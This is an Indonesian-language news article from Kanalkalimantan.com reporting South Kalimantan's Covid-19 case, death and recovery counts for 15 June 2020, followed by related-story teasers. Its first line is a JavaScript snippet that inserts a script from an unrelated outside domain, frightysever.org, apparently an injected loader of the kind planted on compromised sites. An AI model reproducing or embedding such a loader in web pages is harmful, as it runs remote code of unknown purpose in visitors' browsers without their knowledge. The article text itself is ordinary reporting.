(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Jumlah temuan baru kasus positif Covid-19 di Kalimantan Selatan pada Senin (15/6/2020) tercatat sebanyak 66 kasus. Sehingga, kini ada 1.953 kasus positif Covid-19 di Bumi Lambung Mangkurat.
Menurut Juru Bicara Tim Gugus Tugas Percepatan Penanganan (P2) Covid-19 Kalsel Muhamad Muslim, dari jumlah tersebut, 7 kasus diantaranya merupakan pasien dalam pengawasan (PDP). Terdiri dari 6 kasus di RSUD Moch Ansari Saleh Banjarmasin yang semuanya berasal dari Kota Banjarmasin, dan satu kasus dari RS Bhayangkara Banjarmasin, berasal dari Kabupaten Banjar.
“Sedangkan 59 kasus lainnya merupakan hasil tracing dari petugas di lapangan,” beber Muslim di Banjarbaru, Senin (15/6/2020) petang.
Muslim memaparkan, dari 59 kasus positif Covid-19 hasil tracing, 9 kasus masing-masing berasal dari Kota Banjarmasin dan Kabupaten Banjar. Disusul sebanyak 24 kasus dari Kabupaten Barito Kuala, dan 3 kasus di Kabupaten Hulu Sungai Tengah. “Ada 12 kasus dari Banjarbaru, dan dua dari Tanahlaut,” ucap Kepala Dinas Kesehatan Provinsi Kalsel ini.
Lebih lanjut Muslim merincikan tiga kasus positif Covid-19 yang meninggal dunia. Yaitu dua kasus dari RS Bhayangkara Banjarmasin asal Kota Banjarmasin dan satu kasus asal Kabupaten Hulu Sungai Selatan. Ketiganya dilaporkan meninggal dunia dengan status sebagai PDP dan belakangan terkonfirmasi positif Covid-19.
Namun demikian, Muslim merincikan kasus sembuh dari Covid-19 yang jumlahnya ada 20 kasus. Di mana, 13 kasus diantaranya merupakan pasien yang menjalani karantina khusus di Gedung Diklat Ambulung Banjarbaru.
Terdiri dari masing-masing tiga pasien dari Kabupaten Tanah Bumbu dan Kota Banjarmasin. Serta masing-masing satu pasien dari Kabupaten Hulu Sungai Utara dan Kota Banjarbaru. “Disusul 3 pasien dari Tapin dan 2 pasien dari Kabupaten Banjar,” lugas Muslim.
Kemudian, satu pasien dari Kota Banjarmasin juga dilaporkan sembuh. Pasien ini menjalani karantina khusus di Gedung Bapelkes Kalsel, juga di Kota Banjarbaru.
Kasus sembuh lainnya juga berasal dari karantina khusus dari Kotabaru sebanyak 3 pasien, sebanyak 2 pasien yang sembuh dalam karantina khusus di Banjarmasin, dan 2 pasien karantina khusus di Hulu Sungai Tengah. Serta satu pasien dari RSD Idaman Banjarbaru.
Diakui Muslim, sudah mulai tampak penyembuhan yang dirawat, dalam beberapa waktu ini. Terutama, pasien-pasien yang dirawat di pusat karantina yang tidak memiliki gejala berarti atau gejala ringan.
“Dalam tiga hari terakhir sudah ada 51 pasien dinyatakan sembuh. Kita berharap mudah-mudahan yang sembuh semakin banyak, baik dalam perawatan di rumah sakit maupun perawatan di karantina khusus,” pungkas Muslim. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More
This website uses cookies.